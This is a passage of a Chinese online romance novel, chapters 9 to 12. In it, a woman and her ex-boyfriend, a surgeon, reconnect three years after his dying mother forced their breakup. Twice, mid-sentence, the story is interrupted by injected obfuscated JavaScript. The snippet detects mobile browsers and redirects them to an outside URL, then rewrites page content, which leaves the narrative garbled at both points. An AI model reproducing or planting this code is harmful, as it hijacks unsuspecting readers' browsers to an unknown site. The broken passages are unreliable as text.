有时候两个人也会一起畅享未来的生活,周家瑜说,“我们先买车,这样冬天就不冷了。” “各种不好的天气都没关系啦。” 当时两个人正坐在一张路边的木椅上,一人手里捧着一杯热饮,陶舒朗伸出胳膊把她搂住,然后侧头亲了亲她的额头,他答,“好,一言为定。 陶舒朗家庭条件不错,但是他上班之前可以支配的钱不多,后来他上班,收入越来越高,后来他买了车,但自己已经和那个要坐车的人分开了。 现在他说出这句话,旁人听起来很稀松平常,但里面有他们两个人才明白的意味。 夜晚起风变凉,周家瑜坐在温暖舒适的车里,很快就驱散了刚出店门时的凉意。 吃饭时两个人在谈一家公司,它具体的业务范围还有发展前景,让周家瑜惊讶的是,陶舒朗作为一个医生,竟然对完全不同的行业了如指掌。 他手轻扶方向盘,眼睛看着前面,“这家公司我高中好友是合伙人,我们一直都有联系,这几年业绩很不错,但肯定比不上你之前在的那家公司,你考虑考虑,决定权在你这。” “在外企会有很多章程化的东西,可能会感觉事事受限,也有职业上的天花板,在私人企业氛围又有些不一样,都有利弊。” 周家瑜有时候认为自己是个非常理性的人,不然也不会分手失联三年后,自己和前男友两个人继续像没事人一样一起吃饭。 因为她从小到大可以依靠的实在是太少了,在她小时候的记忆中父母都非常疼爱自己,但是长大后一切开始慢慢变了,周元明出轨,感情有了新的寄托,自己的老婆和女儿是他通往新生活,得到宝贝儿子的绊脚石。 彭月华一直是一个按部就班的人,不知道跟她的职业有没有关系,她偶尔可能有个别出格行为,但是很快又会回归正轨,在这段婚姻中,她擅长筹谋擅长隐忍,但并不善言辞,她的沉默对周家瑜来说有时候是一种疏离。 在周家瑜记忆中,谈恋爱时,陶舒朗是那个把自己捧在手心里的人,后来又是伤害她最深的人。 周家瑜自己生活的三年中,独立,但是并不清高,她唯一确定的目标是要让自己的生活越来越好,陶舒朗曾经是一把伤害刻骨的刀,但现在也可以用来披荆斩棘。 之前自己投了不少简历都没有回复,现在朝中有人好办事,他对自己觉得亏欠,这是周家瑜确定的,现在自己需要抓住这个难得的机会。 陶舒朗的话落在耳边,周家瑜想起包里那张名片,“嗯,我会认真考虑。” 她指了指前面一个红绿灯路口,“在前面右转,三百米路南就是。” 车子转弯,眼前是一个有点老旧但闹中取静的小区,为了不挡住出口,车子在小区门口附近路边停下,不知道怎么回事,车里突然变得超安静,空气和声音像是被瞬间吸走。 时间停滞了几秒,周家瑜解开安全带,咔哒一声,车里的世界开始恢复流动。 她刚想说早点休息的时候,陶舒朗转头看她,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15501488|170363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼神很平静,但是左手紧紧握住方向盘,手指因为用力而青白。 两个人对视了两三秒,位置很近,但是好像又隔着千山万水。 陶舒朗声线有点沙哑,“你早点休息。” 周家瑜手里拎着包,里面是手机钥匙和一些日常的东西,她点点头,“嗯,你也早点休息。” 下车前她看了陶舒朗一眼,她无意去细看和辨别眼神里的层层叠叠,只对他道谢,“今天的事谢谢你。” 周家瑜轻轻合上车门,隔着降下的车窗和车里的人挥手,“路上注意安全。” 周家瑜走在小区的路上,为了节能,路灯本来就不是很亮,现在路边的法桐树又长高了,枝干和树叶又遮挡住一部分,天气不好起风的时候这条路就显得有些萧索。 下车后,又开始有些冷了,她现在只想赶紧回到自己暖和的小天地。 周家瑜回到家换衣服的时候突然想起裤子口袋里还有几张零钱,这是近几年她养成的习惯,以前她都是手机加钥匙直接出门,之前发生一个小事故,从那之后她开始随身携带零钱。 前年夏天的一个晚上,她出门去散步,她散步时间通常在九点之后,那个时候外面热气已经消散一部分,散步的人也少很多,但周围还有人。 彭月华是个仔细谨慎的人,所以周家瑜从小就是比较在意自己的人身安全。 那天散步时间没有变,唯一的变量是天气,散步中突然下起雨来,周家瑜被困在散步的小公园,她站在亭子里,看着外面的雨幕,亭子因为新建,周围只长了稀疏的几支紫藤,雨停的时候周家瑜往家走,她注意到这会路上几乎看不到人了,心里猛然一紧,变故便是这时候发生的。 一只有力的大手猛然握住她的手机,周家瑜下意识的反应也是紧紧抓住自己手里的东西,对方发现周家瑜无意识中力气还不小,两个人开始拉扯,拉扯中,那人看清了她的长相,眼神开始变得不对劲。 周家瑜心中已经有了不好的预感,心开始寸寸凉下去,准备呼救的时候那人紧紧捂住了她的口鼻,她开始拼命地剧烈挣扎,但对方的力气奇大,她在逐渐的缺氧中开始晕眩,意识模糊中好像听见有人大喊来人呀,接着是有人仓皇逃走的声音。 周家瑜恢复意识的时候自己正瘫坐在路边,周围蹲着几个不认识的人,有男有女,都问她好一点没有,有没有事情。 周家瑜身上衣服完好,只是头发散乱,脸上发麻,还留有几个指痕,她摸了摸口袋,钥匙还在,但是手机不在,刚才被人抢走了。 有人报了警,警车来了,周家瑜跟着去了派出所,做完笔录出来的时候已经快十二点了,没有手机,她身上也没有一分钱,在派出所门口,她的身体还在无意识地颤抖,因为晚上刚发生的事,她也不能自己走路回去。 她站在那里发楞,心想可以回去找值班的民警借,但是肯定不能打电话告诉彭月华这件事,这时候有人递给她一张钱,是一张二十块,眼前的女生短发,带着利落飒爽的气质,正关切地看着自己,“打个车回家早点休息。” 钱被塞到周家瑜手中,她反应过来的时候那个女生已经进了派出所,她想,是警察吗。 周家瑜反应过来,她站在路边理了理头发,手背擦了擦湿漉漉的脸庞,她沿着主干道走了五分钟的路,成功打到了车。 周家瑜上了车坐在后座,脊背靠着椅背,自己撑着的那口气终于散去,全身的力气开始快速地消失,无人诉说的委屈还有强烈想哭的欲望充斥着全身。 她还有最后一丝理智在,这不是在自己家里,在自己家里,在很多个夜里,她可以嚎啕大哭并无人知晓。 这会在出租车上,她只能把自己的脸掩藏在路灯照不到的阴影处,快速无声地流泪。 9. 第 9 章 周家瑜转身进了小区,陶舒朗车子驶离,过了一个路口,他开着双闪,把车子停靠在路边。 陶舒朗坐在车里,看着夜晚的街道。 他大学在南城念的,本硕连读,和周家瑜在同一个学校,两个人毕业时分手。 分手后两个人心照不宣地彻底消失在彼此的生活中,三年中周家瑜没有换过头像,没有发过任何一条朋友圈,朋友圈点进去永远都是仅三天可见。 陶舒朗也从来不发朋友圈,也是仅三天可见,但是他后来每次深夜点进周家瑜的朋友圈,都在怀疑她这个人到底有没有真的存在过,还是只是自己的臆想。 他有一种矛盾心态,她如果不存在,他不能接受,她如果真的存在过,想起自己的所作所为,他不敢细想,一想就胸口抽痛。 昨天晚上自己无意中得知有人因为工作骚扰她,给她造成困扰,分开的这三年她经历了多少自己不知道的事,这个他无从得知,今天晚上吃饭的时候,隔壁桌聊天的内容把他彻底剖开。 近几年他感觉自己表面还像个人,内心早就像条在水中要窒息的鱼,一朝被人打捞上岸,被发现是条快要死的鱼,因为难以下口,被人当场丢在岸边,在阳光下暴晒。 终于被人证实自己是条恶臭不堪的鱼。 当时他不敢去看对面人的表情,他从小到大一直都有自己的小骄傲,学业很好,人品不错,朋友不少,在大学精进专业,上班后对加班从来没有怨言。 到目前为止他人生唯一的过错就是跟周家瑜分手。 从来不犯错,犯就犯个大的。 本来以为分手是那时候最理智的选择,但事过境迁一切更清晰的时候他才知道自己的做法残忍得让人手足无措。 分手早已是过去,但引发的余痛远远没有结束。 陶舒朗好像失去了行为的能力,只是坐在停靠路边的车里,任由思绪把自己吞噬。 ** 一周之后,周家瑜坐在绿植环绕的办公室里,新工作跟之前的工作有不少重合的部分,所以适应起来比较快。 办公室的穿着也比较随意,没有之前公司那样讲究。李牧因为要见客户,所以今天是西装革履的打扮。 他经过之后,确定李总听不见的时候,周家瑜听见隔壁有人说,“今天李总真的有点犀利呀,见甲方果然要打起一百分的精神来。” 周家瑜来公司面试的时候有三个人,其中一个就是李牧,他当时坐在边上,但是一看就是拍板的那个人。 面试两天后周家瑜接到通知说自己被录取了。 新公司离自己住的地方坐地铁需要四十分钟,通勤时间比之前多了不少,因为要早起,所以现在周家瑜作息时间比之前还要健康规律。 周家瑜觉得现在自己生活已经有固定模式,她现在已经适应了一个人的生活。 亲朋不在身边,没有人唠叨,同事们之间的关系又很淡漠,大家上班时都专心工作,基本没有时间去关注别人的私生活,下班后彼此就是路人。 在大点的城市,如果一个人想要保持单身,是非常容易的,曾有人在公共场合搭讪周家瑜,对方人长得不错,但人真的不能只看外表,周家瑜这几年对谈恋爱这件事没有一点兴趣。 都姿说她在男女关系上好像在修仙。 都姿和周家瑜是高中同学,但重新开始密切往来是大学毕业后,两个人都在江城上班,认识的人不多,同学的关系变得尤为珍贵。 她也问过周家瑜的感情史,当时周家瑜老实交代,说自己大学时候谈过一段,但是毕业后分了手。 都姿当时摆摆手说道:“大学时恋爱不太成熟,纯情是纯情,但过日子还是要现实一点。” 后来周家瑜个人感情老是没动静,她调侃周家瑜是仙女,周家瑜当时回了一句,“你就当我大学时吃顶了吧。” 都姿眼睛当时放着猥琐的八卦光芒,“你别告诉我,你大学时男朋友是个厉害的帅哥。” 周家瑜想了想,“还好,过去时了,我现在只是喜欢一个生活而已。” 找到新工作之后,她给陶舒朗发了信息,“面试通过,我已经开始上班了,谢谢你。” 分手后别人就没有义务来对自己好,亏欠是另外一回事。 周家瑜发出去信息后像是一个交代,她也忘记了这件事,下午的时候陶舒朗发来回复,“那就好,先做着试试。” 陶舒朗回复信息的时候刚从泳池里出来,他有时候需要整天站在手术台旁边,全身肌肉紧绷的时候游泳是很好的锻炼方式。 所以现在他只要有时间就去游泳馆,这会他还没去冲澡,全身的肌肉匀称流畅,身上湿漉漉的,刚才擦手的毛巾放在一旁。 为了清净,陶舒朗专门找了一家会员制的游泳馆,现在整个泳馆只有零星的几个人,他坐在椅子旁,想起那天和李牧的通话。 李牧知道他要介绍一个人来公司,调侃到,“这是你第一次开口要给我介绍人,你们是什么关系?” 陶舒朗:“她是我前女友。” 李牧咋舌,“你可以啊,分手后还给前女友介绍工作。” 陶舒朗沉默了一会,那边觉出点苗头,因为他最近几年一直单身,“你不会到现在还没忘记人家吧?” 陶舒朗没回应,“她进公司后就当普通员工对待,不要因为我的关系特别对待,她肯定不会喜欢。” 陶舒朗坐在泳池旁的椅子上,看着泳池内清澈闪耀的水波,在想周家瑜应该也不喜欢看到自己。 从泳馆出来陶舒朗开车去了一家酒店,前几天陶合敬给自己打电话,说要办满月宴。 满月宴办得简约又隆重,请的双方关系很近的亲朋,大家难得聚在一起,一片其乐融融的氛围。 吃饭后陶舒朗的小姑把他叫到外面跟他讲,“你不能整天忙工作呀,不要把自己终身大事耽误了,男的也不是越老越吃香。” 后面她又补了一句,“现在女孩子都喜欢小鲜肉。” 陶舒朗看着包间门口小孩子跑进跑出,漫不经心地回应,“姑姑你喜欢小鲜肉,姑父知道这件事吗?” 陶合莉笑着拧了他胳膊一下,发现胳膊很硬还拧不动,心想侄子不像小时候乖萌了,顿时意识到小辈都已经三十多,自己也变得更老这个事实。 真是年纪大不大的,都是周围的人衬托出来的,平时她对自己的年纪并不敏感。 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陶舒朗把茶放到陶合敬面前,先回答了他的问题,“还行,没什么变化。” 接着他问,“我大学毕业那年,妈是不是去见过周家瑜?” 陶合敬喝了一口茶,泡得不错,听见儿子的话他手顿了一下,关宴青约见那个女生已经是过去的事了,三年前了,今天陶舒朗突然提起,他才记起她的名字,他点点头。 那个女生家什么情况来着,陶合敬想了想,最近他日子过得顺风顺水,经人介绍再婚,还有了女儿,真的是上天对他的眷顾,想必是关宴青生病之后自己尽心尽力照顾她得到的福报。 对了,想起来了,那个女生爸爸有一个长达好几年的相好,用关宴青的话来说就是家风不正。 “我当时不知道这件事,你妈回家她告诉我,我才知道她们见了一面。” 陶舒朗眼睛一直看着自己父亲,观察他的表情变化,“妈跟她谈了什么,你知道吗?” “她回来告诉我,对方已经答应和你分手,”陶合敬也在观察陶舒朗,儿子最近几年不谈恋爱也不相亲,陶合敬自己一直在想,是不是因为他忘不了之前那个女生。 当年关宴青病情确诊,陶舒朗当时也刚成为医生,工作还有家里一堆事情,母亲生病这件事说出去也不方便,所以他没谈陶合敬理解,但是关宴青去世之后,他还是一直没动静。 在关宴青的坚持下,陶舒朗和女朋友分手,但是后来母子两人之间话越来越少,关宴青私下也曾找自己哭诉过,当时她因为化疗面容憔悴,躺在病床上对自己说:“以后儿子会懂我的苦心,但是我好像等不到那一天了。” 在陶合敬看来,关宴青虽然已经去世,但是她当时的出发点是好的,他也无意在儿子面前说过世妻子的不是。 实际上,关宴青当时见完面回到家一副很安心的样子,好像自己心头那块石头终于落了地。 陶合敬还记得,见面时那个女生好像把关宴青也气得不轻。 他放下茶杯,回忆起这件往事,后来陶舒朗就和那个女生分手了,所以更没有必要把这件事告诉儿子。 10. 第 10 章 周家瑜下班的时候在家附近的生鲜超市买了最近两天要吃的菜,下班后超市的菜都有点打蔫,她最喜欢周末的上午,她吃完早饭溜达着去超市,菜都是刚上架的,整整齐齐,非常新鲜,价格还不贵。 买完她拎着菜往小区门口走,在门口看见一辆眼熟的车,毕竟这辆车自己最近刚坐过几次。 陶舒朗看到她走过来,下车对她讲,“家瑜,你这会有没有时间,我想和你聊聊。” 周家瑜看着陶舒朗,他一直看着自己,眼神里带着恳切,她点点头。 周家瑜在附近找了一家可以煲汤的店,最近天气降温,她想喝点滋补的,两个人点完餐,周家瑜看着服务员离开,转头问陶舒朗,“你想聊什么?” 陶舒朗看着她,“我昨天才知道我妈之前找过你这件事。” 周家瑜点点头。 “我代我妈向你道歉,她这么做不对。”陶舒朗的语气非常地郑重。 周家瑜有时候会想,自己以前喜欢的人一直是个非常认真的人,这件事真的是让人怀念。 后厨开始飘出来烤肉的味道,“嗯。” 接着她想了想,“这件事已经过去很长时间了,尤其是你妈妈已经去世了,她说的有一部分是事实。” 陶舒朗看着她的眼睛,周家瑜坦然地继续说,“我爸确实已经出轨很长时间,一开始我也不理解他们为什么不离婚,但是后来我想明白了,这是他们的婚姻,我不能左右他们自己的选择。” 女朋友爸爸出轨这件事,几年之前陶舒朗从自己妈妈口中得知,说实话,他一点都不在乎,他在乎的是自己和周家瑜的感情好不好,两个人适不适合在一起。 实际上,他们感情一直很好,他们也很适合。 以前没有机会说出的话,陶舒朗感觉自己现在必须要说出来,分手转眼已经三年,一切好像都发生了变化,现在见面像是罩在玻璃中,想触摸,想呐喊,却伸不出手,也发不出声音。 “我一点都不在乎这件事。”他终于说出这句话。没有想象中的感觉,像是一种空洞的宣言。 周家瑜点点头,她看着桌面上倒映的灯影,突然想起自己和关宴青第一次见面时的情形。 她是第一次见男朋友家长,见面的流程明显不对,虽然自己心中早有预料,但是她没想到别人一点都看不上自己,对方言谈之中对自己的家庭进行了多方位的羞辱。 关宴青具体说的什么她已经记不太清楚也懒得再去回想了,但是那种被羞辱的感觉她永远也忘不了。 她当时需要找一个借力点来屏蔽耳边刺耳的话语,她找到了,就是去看眼前桌子上的灯影。 关宴青终于说完,周家瑜看着坐在对面的人,对方因为生病脸色有点苍白,还因为刚才说太多再上情绪上有些激动,整个人看起来有点喘,情绪还没有稳定下来。 “阿姨,自从我认识陶舒朗开始,他一直是很好的人。” “所以,我很乐意也愿意去尊重他的家人。” 接着她话锋一转,“你刚才说,如果我不同意分手就要放弃治疗,我现在就答应你,我会和他分手。” 看着对方紧绷的身体放松下来,她姿势不变接着说到,“你是不是觉得自己生场病全世界都欠你的,自己就是世界的中心,就可以肆意去评价别人的家庭。” “你看不上我,你这样的人我也看不上,这一点上我们可以达成共识。” 关宴青脸色变得非常差,眼睛里是不可置信和羞怒,周家瑜看见她的变化,她笑了笑,“我想说的都说完了,我先告辞了。” 周家瑜说完拎起包向门口走去,她身后传来斩钉截铁的声音,“我就是死也不会同意你们在一起。” 周家瑜没有回应,关房门之前,她看了关宴青一眼,对方的神色表明这会已经完全把自己当作了洪水猛兽,“生病了就不要这么咒自己,不吉利。” “你...” “祝你早日康复。” 周家瑜并没有透露当年自己和关宴青说话的细节,只是告诉陶舒朗自己当时说话也没有客气。 陶舒朗一直知道周家瑜的性格,从当年两个人分手时也可以看出。 陶舒朗给周家瑜盛了碗汤,放在她面前。周家瑜拿起汤匙喝了一口,汤还是很好喝,喝完整个夜晚都熨帖了。 吃完饭两个人沿着原路返回,路上虽然有不少人,但是陶舒朗只听见他们两个人的脚步声还有周家瑜手里购物袋的窸窣声。 “我帮你提着。” 周家瑜看了一眼陶舒朗,“不用,一点都不重。” 她笑起来,是真的很开心的模样,“很久不见,你还是没变,”说完她又加了一句,“我觉得这样挺好,你要好好的呀。” 听到她说的话,陶舒朗感觉一阵酸楚直达胸腔肺腑,这种强烈的情绪冲击要把自己劈成两半。 他们两个正走在路旁的青砖路上,路旁边长着一排高大的槐树,这个季节树上已经结了很多槐角,街灯投在树顶上,他们散步的这条路光影斑驳。 陶舒朗眼睛看向马路,他试图看别的东西转移自己的注意力,但这会只有浓得化不开的情绪在自己胸腔爆裂,他感觉全身血液逆流,身体发热。 他眼睛酸胀,眼里有控制不住的湿意,喉咙也被锁住,自己竟说不出一句回应的话来。 周家瑜看着眼前这条自己平时经常散步的小路,今天因为有人陪着一起走变得有些不同,自己这三年几乎都是一个人,自己下班买菜,做饭吃饭,健身然后睡觉。 有时候周末在家,她可以一整天都不说一个字,自己也不会觉得无聊,但她会有意识地去接触人群,每天都会外出,遇见有人在撸流浪猫,会上去跟别人攀谈几句,走路闻到路边新割的草坪味道她都会心情很好。 之前谈恋爱,她适应两个人在一起,后来分手一个人,她又适应了一个人的生活,有人陪,没人陪,她好像都能适应,因为有时候只能去适应。 但是今天她明显觉得这两种生活方式的不同,哪种好,哪种坏,她说不上来,只能说很不同。 周家瑜沉浸在自己的思绪里,没有在意陶舒朗没有回应自己,也没有察觉到他的异常 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之前和家瑜在一起的时候,她网上刷到有趣的东西就会和自己分享,有一次她让自己看一个帖子,标题是半夜去前任楼下坐了一夜。 他拿过她的手机手指向下滑动,看了看评论,发现有类似经历的人还不少。 周家瑜当时问他,“你之前有没有干过这种事?” 陶舒朗嘴角微翘,两个人情浓的时候女朋友时不时的吃醋也是一种让人愉悦的情.趣。 “没做过这种事。” 周家瑜当时捏了捏他的耳朵,她手触摸到他短而黑的头发,自己心中一动,“那你以后会不会做这种事?” 陶舒朗眼神变得有点危险,他搂住对方,低头去轻啄对方的嘴唇,并低声问,“这要看你,你会让我半夜在你楼下坐着吗?” 周家瑜眼神狡黠,水润里含着娇嗔,“那要看你的表现。” 陶舒朗坐在路边车里,看着眼前陌生的街道和小区,因为知道她住在这里,陌生的地方成了最有意义的存在。 她住在这里,自己之前不知道,也从来没来过。 现在来到这里像个沙漠旅人一样缅怀过去。 这天周五,傍晚下起了小雨,周家瑜的习惯是晚上下雨的话会想吃点不一样的,她撑着伞,去小区附近的一家店买火锅食材,不一会她拎着袋子,踩着水花走回小区,因为走路身上发热。 她今天从公园穿回去,东门附近有只流浪猫,是附近居民的团宠,整天被人投食,已经长的膘肥体壮,但是那只猫很喜欢流浪,拒绝被人收编。 是一只特别的猫。 今天下雨,不知道它能不能吃到东西,周家瑜想去看看,在小公园转了一圈但是没有发现它的身影,于是她在它经常待着那块井盖上放了几块鲜肉。 她从东门进,已经进了小区门又折返回来,路边停着一辆车,车身黑漆漆的,因为下雨上面都是水珠,车窗紧闭,但是车里隐约有亮光,影影绰绰看不真切。 她站在路边,在门口一棵光线很暗的大树下,过了一会她转身离去。 11. 第 11 章 一天下午,陶舒朗从医院大楼出来准备下班时,他接到陶合莉的电话,陶合莉让他去帮忙去接孩子。 陶合莉比陶合敬小十二岁,所以陶合敬结婚有孩子的时候,陶合莉也才十几岁,所以陶合莉也算是看娃的主力军之一,对陶舒朗来说是德华一样的存在。 因此陶舒朗陶合莉关系一直很好,后来陶合莉有了孩子,陶舒朗也会给她看孩子,陶合莉在电话那边让他去接松松放学,今天他们夫妻两个都要加班,老家有白事,孩子奶奶回老家去了。 接放学只是简单的,接回来要给松松做饭,还要监督她写作业。 等松松吃完饭,打卡完作业,纠正好错字和算数题,已经快九点了,夫妻两个才姗姗来迟,脸上带着在外面美餐一顿的松弛感。 陶合莉也不是第一次做这种事了,陶舒朗父债子偿的进展又添了一笔。 松松跟自己爸爸手牵手下楼去了,陶合莉晚饭应该喝了一点小酒,这会说话语速有点慢,“我亲爱的大侄子,人到三十还这么帅,怎么不谈恋爱,简直暴殄天物。” 走之前她还指了指陶舒朗,意思是让他赶紧点,“听到没,快点谈,谈了你姑我给你恋爱经费。” 陶舒朗笑着看她,“好,我记着你这句话。” 周六,周家瑜公司有团建,是去江城郊外的一座山上,据人事部的同事说会有很刺激的项目。 周家瑜现在是周末能一个人待着就一个人待着,去团建必然需要社交,她觉得一周五天的社交量,有时候对自己来说会精力超载。 但到了团建地点之后她觉得又很不错,阳光下的草地,周围零星搭着天幕,李总财大气粗,还请了专人做饭,有烤肉有炒菜,有同事厨艺很好,也加入厨师队伍,说要给大家添菜。 现在是秋季,天气不冷不热,阳光明媚,有同事提议去山上转转,现在有一个词比较流行,叫捡秋,捡一片好看的秋叶或者一枚小小的红果子都让人开心。 周家瑜在来的路上看见路边有松树,她打算去捡松塔。 大家已经三三两两地分开行动,周家瑜很快找到一片油松,鞋子踩在已经有落叶的草坪上,发出沙沙的声音。 她正低头在找松塔,突然旁边有人说话,李牧上班时着装偏商务休闲,今天出来团建他是日常风。 他抓着一只树枝,正从上面摘一个松塔,他递给周家瑜,“这个怎么样?” 周家瑜自从进公司后很少跟李牧打交道,只是在走廊里遇见会招呼的程度,这会他手里拿着松塔问自己,一副很有亲和力的样子,老板真的不是谁都能做。 周家瑜接过来,“这个很不错。” “家瑜,我能不能跟你聊聊?” “好,李总。” 李牧站在那一副很闲适的样子,听到周家瑜叫李总,摆了摆手,“私下叫我名字就好,叫李总太生分了。” “嗯好。” 李牧想了想,“我和陶舒朗是高中和大学同学,我们虽然不同专业,但是住在一个宿舍,他和你谈恋爱后真的变了不少,之前他一直醉心学业不谈恋爱,我们有时候会在背后八卦是什么原因。” 李牧突然想起来,宿舍有人猜测陶舒朗性取向不直,当场有个同学担忧地捂住了胸口,李牧当时淡定地看了对方一眼,“你放心,即使他不是直的,应该也不会看上你。” 随后他在对方逐渐扭曲的表情中又加了一句,“应该会看上我这种才对,真的是郎才郎貌,我有貌他有才。” 他把这个插曲告诉周家瑜,她的嘴角弯起来,“你们宿舍关系很不错呀。” 李牧看向远方,“看来他跟你说了不少。” “你们分手后,他表面上看好像没有什么变化,但是他内心一直很受煎熬。” 快毕业了,有一次李牧半夜起来上厕所,发现陶舒朗的床铺是空的,他披上外套出去找人,在楼道尽头的窗户前找到了人,陶舒朗正在吸烟,旁边窗台上的一次性杯子里已经有好几只烟蒂。 作为室友,李牧知道陶舒朗一直不吸烟的。 半夜他不睡觉,在夜深人静的楼道里做自己以前非常反感的事情,只能说他压抑到了一定程度。 李牧跟他要了一支烟,两个人在初夏夜里吞云吐雾,毕业在即,不知道以后还能不能相见,伤感让李牧说了几句话,“你跟女朋友分手后,一直非常不开心,既然这么不开心,可以考虑再续前缘。” “干嘛这么折磨自己呢?又不是苦行僧。” “之前分手是你不对,但人生的容错率很高,可以厚着脸皮求复合嘛。” 不知道是不是吸烟的缘故,陶舒朗声音有些沙哑,“不知道怎么回事,我现在宁可自己受着,也不想去见家瑜,分手是我提的,我有什么脸面去见她呢。” 李牧大致知道他们分手的始末,他站在陶舒朗身旁补上自己的旁白,“有情人不能终成眷属,这真是一个操.蛋的世界。” 陶舒朗和周家瑜恋爱时,曾带她和宿舍的人一起吃过饭,当时李牧不在,所以当时周家瑜没见到他,他去外地追爱去了,这件往事李牧后来不许几个知情人提起。 三年后,李牧这会和周家瑜一起站在山上的松树下,机缘真是奇妙的东西。 周家瑜手里捏着那枚松果,听李牧回忆以前的事,那段分手岁月里不为人知的片段,她用力捏松果,让它在掌心形成痛感。 痛感可以让人清醒。 周家瑜望着山下的现实世界,登高忘远可以忘忧,她耳边还回响着李牧离开之前说的话,“舒朗之前跟我说把你当普通员工对待,但是我做不到,因为你对他的影响实在是太大了。” “他这三年真的过得人不人鬼不鬼的。” 周日晚上七点多,周家瑜从出租车上下来,推着行李箱走进小区,这次她让司机在小区东门停车。 晚上秋风乍起,开始真正有了深秋的味道,天凉的时候偶尔会发现自己需要一个温暖的怀抱。 跟情爱没有关系,跟陪伴有关系。 她裹紧身上的衣服,行李箱轱辘的声音在小区的小路上响起。 小区东门附近今天没有停靠的车辆。 周家瑜回到家,才发现家里没有电,这个年头停电好像是件稀奇的事情,但是对周家瑜的小区来说停电这件事并不少见。 她租住的小区靠近以前的主干道,水管和电缆的主干线在这附近,最近小区南门那条主干道在修路,所以经常有不小心挖断线路的情况。 挖断一次就一秒回到解放前。 她打开小区群,手指向上滑动,里面果然有物业的通知,下面有住户询问今天大约几点能来电,上次停电时间太久家里冰箱里的食物放坏了,还有一些住户的抱怨。 周家瑜之前买了一罐香薰蜡烛, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15501491|170363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是罗勒味的,她拿着手机照明找到蜡烛和打火机,客厅木桌上的蜡烛火苗微微闪动,行李箱这会还放在门口,她只换了拖鞋,然后自己整个人陷在沙发里。 她仰着头看着头顶的天花板,开始昏昏欲睡。 她真的睡着了,不知道睡了多长时间,楼下住户辅导小孩英语单词的怒吼声传来,把她给吵醒了。 她看了看时间,已经快九点了,屋里的开关开着,还没有来电,价格不便宜的蜡烛燃烧得也只剩下一半。 她穿上外套,拿着手机和钥匙出小区去买蜡烛。 在东门小超市终于买到了蜡烛,她拿着东西回家的时候往路边看了一眼,那里正停着一辆熟悉的车。 周家瑜走上前去。 陶舒朗正坐在车里,看着被风吹到路上的落叶,他在想一会回去的路上去哪里解决晚餐,当医生本来就饮食有些不规律,最近他一有空就来江城,有时候下班后来不及吃饭就开车过来。 他无法解释自己的行为,他只知道自己来这里会感觉好很多。 有人敲自己的车门,他向外看去,发现周家瑜正站在车外看着自己。 他的心开始剧烈地跳动,一点都不受自己控制。 他降下车窗,周家瑜安静地问自己,“你吃饭了吗?” 他有点饿过劲了,这会不觉得饿了,“还没有。” “要不要吃点?” “好,去哪里吃?” “我家。” 陶舒朗把车停在周家瑜单元楼楼下,老小区的优点之一是不用自己花钱买车位,但是免费的缺点就是回来晚了可能就没有好车位了。 周家瑜站在树下看着陶舒朗熟练地把车停进一个刚刚够的车位,心想他停车技术不错。 她开着手机电筒,带着他一起上楼,两个人一前一后,只有脚步的声音,没有人说话。 打开房门屋里有一股罗勒的味道,周家瑜把买来的蜡烛点上,吹灭了香薰蜡烛。 因为室内光线不亮,陶舒朗看不清全貌,但周家瑜一直是一个喜欢生活的人,家里一定会收拾得温馨舒适。 这两天周家瑜在山上住酒店,回来的时候带回了两双酒店的一次性拖鞋,现在正好派上用场,她打开行李箱把拖鞋递给陶舒朗。 她去卫生间洗手,出来的时候问站在客厅里的人:“吃馄饨行吗?猪肉香菇馅的。” “好。” 周家瑜点了两只蜡烛,客厅一只,厨房一只,她在置物架上把煮锅拿下来,锅里烧着水,旁边摆着一个保鲜盒,里面是几排圆滚滚的馄饨,还有两只碗,这会她站在灶台旁正撕着紫菜。 陶舒朗也已经洗完手,他走过来,“要不要我帮忙?” 周家瑜看他一眼,紫菜和虾皮都放在碗里了,她从厨房走出来,两个人侧身而过,“水开后你煮馄饨吧。” 她打开冰箱去看里面还有没有什么蔬菜,找到了一个西蓝花。 陶舒朗已经把馄饨煮上,周家瑜从他背后过去,在旁边拿出菜板切菜。 她打算水煮西蓝花,煮完捞出来,放点盐和调味料就很不错,简单健康。 饭厅里的餐桌上放着一只蜡烛,两个人对坐着,一人前面一只碗,冒着滚滚热气,有汤匙有筷子,中间一盘水煮菜。 周家瑜低头在吹汤匙里的馄饨,陶舒朗看着眼前的这一幕,一切美好得好像是梦。 12. 第 12 章 陶舒朗吃到第一口馄饨的时候才知道自己到底有多饿,煮的馄饨周家瑜给他分了大半,因为回来之前她已经吃过晚饭了,这会真的是宵夜。 吃完晚饭,陶舒朗去收拾厨房,今天外面有点凉,周家瑜准备烧水来泡脚。 她看了看时间,已经快十点了 陶舒朗从厨房出来,时间很晚了,他知道自己要走了,但是他真的不想走,这个空间里有她,真的会让人平静下来。 陶舒朗还没说话的时候周家瑜起身去烧水,出来的时候他正坐在沙发上,“你开车回去要多长时间?” “不到三个小时。” “今天很晚了。” 陶舒朗正要起身的时候,周家瑜问他,“你要不要在这休息,明天一早再回去?” 接着她又问,“会耽误你上班吗?” “不耽误。”陶舒朗感觉话从自己嘴巴里脱口而出,他的大脑还没反应过来。 “不过床有点小,你可能会伸不开腿。” 陶舒朗有时候值夜班,床的大小对他来说已经无所谓了,他最关心的是自己可以睡整觉,而不被人敲门打扰。 “没关系。” 